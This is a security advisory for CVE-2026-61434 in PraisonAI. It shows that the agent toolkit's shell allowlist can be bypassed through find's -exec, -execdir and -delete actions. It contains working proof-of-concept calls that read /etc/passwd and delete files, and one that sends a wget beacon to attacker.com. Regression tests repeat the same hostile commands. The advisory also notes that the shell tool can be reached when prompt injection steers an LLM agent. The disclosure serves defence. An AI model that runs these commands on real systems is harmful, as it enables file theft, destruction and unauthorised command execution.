OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-61434: PraisonAI: Shell command allowlist bypass via find -exec built-in action

GitHub Advisories · officialPublished Oct 8, 2026Risk 37/100

### Summary The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via `find`'s built-in `-exec` action. The fix blocks shell metacharacters (`` ;|&`><$()${} ``) and uses `spawn()` with `shell: false`. However, `find` remains in the safe command allowlist, and its `-exec ... {} +` action executes commands without shell metacharacters — the `+` batch terminator replaces the blocked `;` terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each). ### Details **Root cause**: Each of the four implementations validates the **first token** of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to `spawn()`/`subprocess.Popen()` with `shell: false`. Shell metacharacter injection is indeed blocked. However, `find` is a Unix command with **built-in execution actions**: `-exec`, `-execdir`, `-delete`, `-ok`, `-okdir`. These actions are interpreted by `find` itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload `find /etc -name passwd -maxdepth 1 -execdir cat {} +` passes the regex at line 240 of utility-tools.ts): ``` find /path -exec <command> {} + ``` The `+` terminator (batch mode) avoids `;` which IS blocked by the metacharacter regex. **Affected components** (4 implementations, same gap): | # | Component | File | Gap | |---|---|---|---| | 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `find` in `safeCommands` allowlist | | 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `find` absent from `DEFAULT_BLOCKED_COMMANDS` | | 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `find` absent from `BANNED_COMMANDS`, present in `SAFE_COMMANDS` | | 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `find` absent from `blocked_commands` | **Bypass analysis**: | Check | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | Result | |---|---|---| | Metachar regex `/[;|&\`><]/` | `{`, `}`, `+` are not in regex | PASS | | Regex `/\$\([^)]*\)/` | No `$(...)` | PASS | | `safeCommands.includes('find')` | `find` IS in allowlist | PASS | | SandboxExecutor blocked paths | `normalized.includes('/etc/passwd')` → FALSE (path split: `/etc ` + `passwd`) | PASS | | `spawn('find', [...], {shell:false})` | find interprets `-execdir` internally | BYPASS | The `-execdir` technique also evades the SandboxExecutor's substring-based path restriction: `/etc` and `passwd` appear as separate arguments, so `/etc/passwd` never appears as a contiguous substring of the command string. **Preconditions**: | Precondition | How attacker obtains | Default? | |---|---|---| | Access to `shell()` or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y | | `find` binary on target | Standard Unix utility, present on Linux/macOS | Y | | `find` in allowlist / absent from blocklist | Default configuration in each implementation | Y | ### PoC **1. Data exfiltration via -execdir (utility-tools.ts)** ```javascript const { shell } = require('praisonai/dist/tools/utility-tools'); async function poc() { // Control: direct 'wget' is rejected (not in safeCommands) const control = await shell('wget http://example.com'); console.log('[CONTROL] rejected:', !control.success); // true // Bypass: find -execdir reads /etc/passwd via find's built-in action const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +'); console.log('[BYPASS]:', bypass.success); // true console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ... } poc(); ``` Code path: `safeCommands.includes('find')` → true → `containsShellMetacharacters(...)` → false → `spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false})` → find chdirs to /etc → `cat ./passwd` → exit 0 → `{success: true, data: "<passwd contents>"}`. **2. File deletion** ```javascript await shell('find /app/uploads -name "*.bak" -delete'); // -delete is a find built-in — clean exit 0, files deleted ``` **3. Non-allowlisted command (side-effect based)** ```javascript await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +'); // HTTP request fires as side effect before find returns non-zero ``` **4. Python safe_shell** ```python from praisonai.cli.features.safe_shell import safe_execute result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +") print(result.stdout) # root:x:0:0:root:/root:/bin/bash ... ``` ### Impact An attacker who can influence the command parameter of `shell()` (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves: - **Blocked file read**: `-execdir` reads files in `DEFAULT_BLOCKED_PATHS` by splitting the path across arguments (verified: exit 0, data returned) - **File deletion**: `-delete` destroys files without metacharacters (verified: clean exit 0) - **Non-allowlisted command execution**: `-exec` runs commands not in safeCommands (side effect fires regardless of exit code) Shell substitution (`$(...)`) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes `cat`, `chmod`, `python3`, `curl` etc. Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833. ### Suggested fix **Option A**: Remove `find` from each safe/allowed command list (4 locations). Simplest fix. **Option B**: If `find` must remain, parse arguments and reject `-exec`, `-execdir`, `-delete`, `-fls`, `-fprint`, `-fprintf`, `-ok`, `-okdir` flags. **Regression tests**: ```typescript test('rejects find -exec', async () => { expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false); }); test('rejects find -execdir', async () => { expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false); }); test('rejects find -delete', async () => { expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false); }); ``` ### References - GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8) - GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High) - Fix commits: 2adfe7e, 2f9677a (2026-06-13)

Upgrade affected packages to a patched version: praisonai 4.6.78.

Vendor
Not specified
Product
praisonai
Exploitation
none known
Evidence
official
CVSS
8.8

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source